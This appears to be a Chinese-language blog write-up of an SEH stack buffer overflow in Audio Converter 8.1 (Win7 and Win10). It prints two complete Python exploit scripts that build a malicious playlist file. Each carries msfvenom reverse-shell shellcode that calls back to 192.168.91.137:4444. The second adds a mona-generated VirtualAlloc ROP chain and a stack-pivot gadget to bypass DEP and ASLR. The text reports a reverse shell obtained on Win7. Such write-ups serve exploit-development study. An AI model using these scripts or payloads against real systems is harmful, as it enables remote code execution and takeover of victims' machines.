0%

Audio Converter 8.1 - SEH Stack Buffer Overflow:DEP and ASLR bypass

本次讨论的Audio Converter 8.1Win7 SP1 6.1.7601Win10 10.0.19044两者之间有一些不同,在Win7下漏洞能够利用成功,在Win10下会出现SEH Handler无法捕捉到异常,导致漏洞执行失败。

先来看Win7下的漏洞利用:之前遇到的SEH栈溢出漏洞,覆盖的都是SEH链的第一个NSEHSEH Handler,而这里覆盖的是第二个NSEHSEH Handler。简单的部分就不说了,Win7Offset4432(覆盖NSEH的值),坏字符为\x00\x0a

看一下溢出的时候,其实是SEH链第二个节点被覆盖:

BOF

但是,这不影响漏洞利用的方式,还是P/P/R结合JMP,如果当前异常处理函数无法处理异常,则会转到下一个异常处理函数处理,所以覆盖的异常处理函数是可以得到执行的,进而执行写入的shellcode。考虑要bypass ASLR,所以需要找到未开启ASLRDLL

BOF

win7下没有开启全局DEP时,就是简单的SEH 栈溢出,最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
import struct

filename="exploit.pls"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x3d'
shellcode = b""
shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab"
shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d"
shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad"
shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d"
shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18"
shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02"
shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6"
shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64"
shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10"
shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23"
shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08"
shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26"
shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3"
shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c"
shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11"
shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73"
shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef"
shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76"
shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc"
shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe"
shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22"
shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59"
shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a"
shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57"
shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86"
shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91"
shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3"
shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b"
shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d"
shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71"
shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"

# badchars: \x00\x3d
payload=b"A"*4432
payload+=b"\xeb\x06\x90\x90"
payload += struct.pack("<L",0x1002b51c)
payload+=b"\x90"*16
payload+=shellcode
payload+=b"C"*(45544-len(shellcode))

with open("exploit.pls", "wb") as fp:
fp.write(payload)

成功反弹shell

BOF

现在开启全局DEP,来看一下,基本的步骤就不说了,截图几张:

利用mona,在每个SEH Handler下断点,这个方法还挺方便的:

BOF

查找ROP Chain在内存的位置:

BOF

执行到触发SEH之后,查看此刻ESP,得到ROP ChainROP之间的距离:

BOF

利用mona寻找跳转大于等于2412ROP Gadget

BOF

在生成的stackpivot.txt文件中挑选符合要求的ROP Gadget

BOF

这里选择0x100646bb作为覆盖seh的地址。注意跳转了3652个字节,需要在ROP Chain前面填充一些\x90,不然会跳转到ROP Chain内部,导致无法执行。经过多次尝试,需要添加1348\x90才能精确到达ROP Chain的最开始部分。

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/python3
import struct


total_size = 200000
filename="exploit_seh.pls"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x3d'
shellcode = b""
shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab"
shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d"
shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad"
shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d"
shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18"
shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02"
shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6"
shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64"
shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10"
shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23"
shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08"
shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26"
shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3"
shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c"
shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11"
shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73"
shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef"
shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76"
shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc"
shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe"
shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22"
shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59"
shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a"
shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57"
shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86"
shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91"
shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3"
shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b"
shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d"
shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71"
shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"





def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x10070b5f, # POP EBP # RETN [audconv.dll]
0x10070b5f, # skip 4 bytes [audconv.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x1006c128, # POP EBX # RETN [audconv.dll]
0x00000001, # 0x00000001-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x10082d43, # POP EDX # RETN [audconv.dll]
0x00001000, # 0x00001000-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x10073e81, # POP ECX # RETN [audconv.dll]
0x00000040, # 0x00000040-> ecx
#[---INFO:gadgets_to_set_edi:---]
0x100147d2, # POP EDI # RETN [audconv.dll]
0x1003f2b9, # RETN (ROP NOP) [audconv.dll]
#[---INFO:gadgets_to_set_esi:---]
0x10001a43, # POP ESI # RETN [audconv.dll]
0x1006685a, # JMP [EAX] [audconv.dll]
0x1008264a, # POP EAX # RETN [audconv.dll]
0x100952c4, # ptr to &VirtualAlloc() [IAT audconv.dll]
#[---INFO:pushad:---]
0x1002ef14, # PUSHAD # RETN [audconv.dll]
#[---INFO:extras:---]
0x1002debd, # ptr to 'push esp # ret ' [audconv.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()




nops1 = b"\x90"*32
junk1 = b"A"*32
nops2 = b"\x90"*(1240+108) #
payload = nops2+rop_chain+nops1+shellcode
junk2 = b"A"*(4436-len(payload)-32)
# seh = b"\xcc\xcc\xcc\xcc"
seh = struct.pack("<L",0x100646bb) # ADD ESP,0E44 # RETN
junk3 = b"C"*(45544-4432-4)

with open(filename, "wb") as fp:
fp.write(junk1+payload+junk2+seh+junk3)

成功反弹shell

BOF

来看一下win10,不开启DEP。溢出时,可以看到SEH链的第二条被我们覆盖了:

BOF

在异常处理的时候,出现如下问题:(会一直停留在第一个异常处理函数里面,无法跳出)

BOF

谷歌了一下,说是异常没有捕获到。这里就不进一步讨论了。

2022年5月14日更新:Win10利用失败的原因是,我想找一个SafeSEH关闭,且未开启ASLRDLL,这样就可以保证利用脚本是稳定的,不会因为系统重启而无法使用。这里有且仅有audconv.dll,可以看上面我使用的地址,是以00开始,这样就导致内存里指令会被截断,而开始部分的Win7audconv.dll地址空间不是以00开始,所以可以利用成功。